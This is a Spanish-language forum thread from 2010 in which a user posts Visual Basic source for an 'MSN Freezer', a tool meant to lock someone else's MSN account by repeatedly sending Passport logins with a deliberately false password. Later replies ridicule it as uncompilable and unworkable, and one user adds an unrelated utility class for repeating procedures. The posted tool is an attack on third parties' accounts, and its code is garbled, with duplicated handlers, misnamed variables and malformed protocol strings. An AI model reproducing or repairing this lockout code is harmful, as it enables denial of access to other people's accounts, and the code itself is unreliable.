[SOURCE] [CPH] Msn Freezer

fary · 8 Febrero 2010, 22:46 PM

Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source:

'*************************************************
'****          Programado por Drinky94        ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
    If text1 = "" Then
        MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
    Else
        If intr(text1, "@") = True Then
            WS.Close
            WS.remotehost = messenger.hotmail.com
            WS.remoteport = 1863
            WS.Connect
            Call parte1
        Else
            MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
    End If
End Sub
Private Sub desbanear_click()
    On Error GoTo err
    WS.Close
    WS2.Close
    WS3.Close
    timer1.Enabled = False
    MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
    MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
    End
End Sub
Private Sub parte1()
    WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
    WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
    WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
    WS2.Close
    WS2.remotehost = "207.46.106.35"
    WS2.remoteport = 1863
    Call parte5
End Sub
Private Sub parte5()
    WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
    WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
    WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
    WS3.Close
    WS3.remotehost = "login.passport.com"
    WS3.remoteport = 433
    WS3.Connect
    timer1.Enabled = True
    timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
    WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Call Winsock1.GetData(Mensaje)
    Select Case mensage
        Case "<<VER 1 MSNP9 MSNP8 CVR0"
            Call parte2
        Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
            Call parte3
        Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
            Call parte4
    End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Call Winsock1.GetData(Mensaje)
    Case "<<VER 4 MSNP9 MSNP8 CVR0"
        Call parte6
    Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
        Call parte7
    Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
     Call Winsock1.GetData(Mensaje)
     Case mensage
        Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Winsock1.LocalPort = 0
    Winsock1.Accept requestID
End Sub
Private Sub form_load()
       With ProgressBar1
        .Max = 100
        .Min = 0
        .Value = 0
    End With
End Sub

Espero que les haya gustado...

salu2!

Karcrack · 8 Febrero 2010, 23:44 PM

Lo has probado?? Segun veo que utilizas el MSNP es imposible que funcione

Porque pones los Sleep's con If's... son Sub's, osea, no devuelven nada... porque comparas que sea distinto de 0???

El codigo se puede optimizar y no estoy seguro de que sea funcional...(MOD: Imposible que funcione:)

Código [Seleccionar]

WS.remotehost = messenger.hotmail.com
??? Has intentado probarlo?? Esto esta en nombre CPH?? $:-\$ $:-\$

Ah! Muy graciosa la forma en la que muestras el porcentaje

PD:No pretendo ser cruel $:-\$

BlackZeroX · 9 Febrero 2010, 00:31 AM

Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
Código [Seleccionar] Expandir
If Sleep(500) Then progressbar.Value = 20 If Sleep(500) Then progressbar.Value = 40 If Sleep(500) Then progressbar.Value = 60 If Sleep(500) Then progressbar.Value = 80 If Sleep(500) Then progressbar.Value = 100 If Sleep(500) Then MsgBox "La Cuenta ha sido bloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta " & text1 & " ha sido bloqueada con exito" End If End If End If End If End If End If

O.O!¡

BlackZeroX · 9 Febrero 2010, 01:28 AM

.
Si te sirve esto lo puedes usar, es un modulo de clase que acabo de hacer para repetir un Proceso X cantidad de Veces, mostrando a su vez el porcentaje de ejecuciones efectuadas.

Código (vb) [Seleccionar]



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////

Option Base 0
Option Explicit

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Public Event PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean)

Public Function ReplicarAccion(ObjDestino As Object, NombreDeProceso As String, CantidadDeReplicas As Integer, EsperaEntreReplicas As Integer, ParamArray Argumentos() As Variant) As Variant()
Dim Contador                    As Long
Dim ProcesoCompletado           As String
Dim Cancel                      As Boolean
Dim Res()                       As Variant

    If ObjDestino Is Nothing Then Exit Function
    
    ReDim Res(CantidadDeReplicas - 1)
    
    Do: DoEvents
        
        If IsMissing(Argumentos) Then
            Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod)
        Else
            Res(Contador) = CallByName(ObjDestino, NombreDeProceso, VbMethod, Argumentos())
        End If
        
        Contador = Contador + 1
        ProcesoCompletado = FormatNumber(Contador * 100 / CantidadDeReplicas, 2)
        
        
        RaiseEvent PorcentajeEjecutado(ProcesoCompletado, Cancel)
        If Cancel Then Exit Do
        
        Call Sleep(EsperaEntreReplicas)
        
    Loop Until Contador = CantidadDeReplicas
    
    ReplicarAccion = Res
    
End Function

Ejemplificacion:

Código (vb) [Seleccionar]



'
' ////////////////////////////////////////////////////////////////
' // Autor: BlackZeroX ( Ortega Avila Miguel Angel )            //
' //                                                            //
' // Web: http://InfrAngeluX.Sytes.Net/                         //
' //                                                            //
' // |-> Pueden Distribuir Este Código siempre y cuando         //
' // no se eliminen los créditos originales de este código      //
' // No importando que sea modificado/editado o engrandecido    //
' // o achicado, si es en base a este código                    //
' ////////////////////////////////////////////////////////////////
Option Base 0
Option Explicit

Private WithEvents ReplicarProcesos             As ClsRepliProcess

Private Sub Form_Load()

Dim Res()                       As Variant
Dim index                       As Integer

    Set ReplicarProcesos = New ClsRepliProcess
    
    Res = ReplicarProcesos.ReplicarAccion(Me, "HolaMundo", 75, 10)
    
    For index = LBound(Res) To UBound(Res)
        Debug.Print Res(index)
    Next index
    
End Sub

Public Function HolaMundo() As Long

    Randomize
    HolaMundo = Rnd * 10
    
End Function

Private Sub ReplicarProcesos_PorcentajeEjecutado(Porcentaje As String, Cancel As Boolean)

    Debug.Print Porcentaje
    
End Sub

Private Sub Form_Unload(Cancel As Integer)

    Set ReplicarProcesos = Nothing
    
End Sub

seba123neo · 9 Febrero 2010, 01:58 AM

Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
Espero que les haya gustado...

con todo respeto, no me gusto nada, y creo que a nadie le ha gustado.

eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro.

saludos.

ssccaann43 © · 9 Febrero 2010, 14:08 PM

Cita de: seba123neo en 9 Febrero 2010, 01:58 AM
Cita de: Drinky94 en 8 Febrero 2010, 22:46 PM
Espero que les haya gustado...

con todo respeto, no me gusto nada, y creo que a nadie le ha gustado.

eso no compila ni abajo del agua, tiene como 20 errores antes de compilar, eventos duplicados, nombre mal de funciones, codigo que no hace nada y mas...ahora van a salir los que dicen que nadie sale sabiendo y blabla, me van a decir de todo... ¿ pero tengo algo de razon ? por favor ...antes de hacer estas cosas que para colmo no te enseñan nada, aprender a hacer un bucle bien...si es para [CPH] postealo ahi, porque te digo sinceramente a veces me da verguenza ver estas cosas en este foro.

saludos.

Y no se diga más...

Jaixon Jax · 9 Febrero 2010, 14:29 PM

Como diria SolanGE: "Que Incordio XD"

fary · 9 Febrero 2010, 14:42 PM

no me tomo ningun comentario a mal, gracias por decirme mis errores, intentare corregirlo.

salu2!

skapunky · 9 Febrero 2010, 17:14 PM

CitarIf Sleep(500) Then

Pero eso funciona en serio? Mas que nada que falta la comparación a algo y seguro que no puede compilar, lo normal al acabar un programa es almenos compilarlo para ver si lo hace. El Sr Basic se está levantando de su tumba para perseguirte.

Citar'*************************************************
'**** [CPH] Msn Freezer ****
'**** Programado por Drinky94 ****
'**** En el año 2010 para: ****
'**** :www.portalhacker.net ****
'*************************************************

Ahora lo entiendo todo

Karcrack · 9 Febrero 2010, 18:31 PM

Que mordaz Skapunky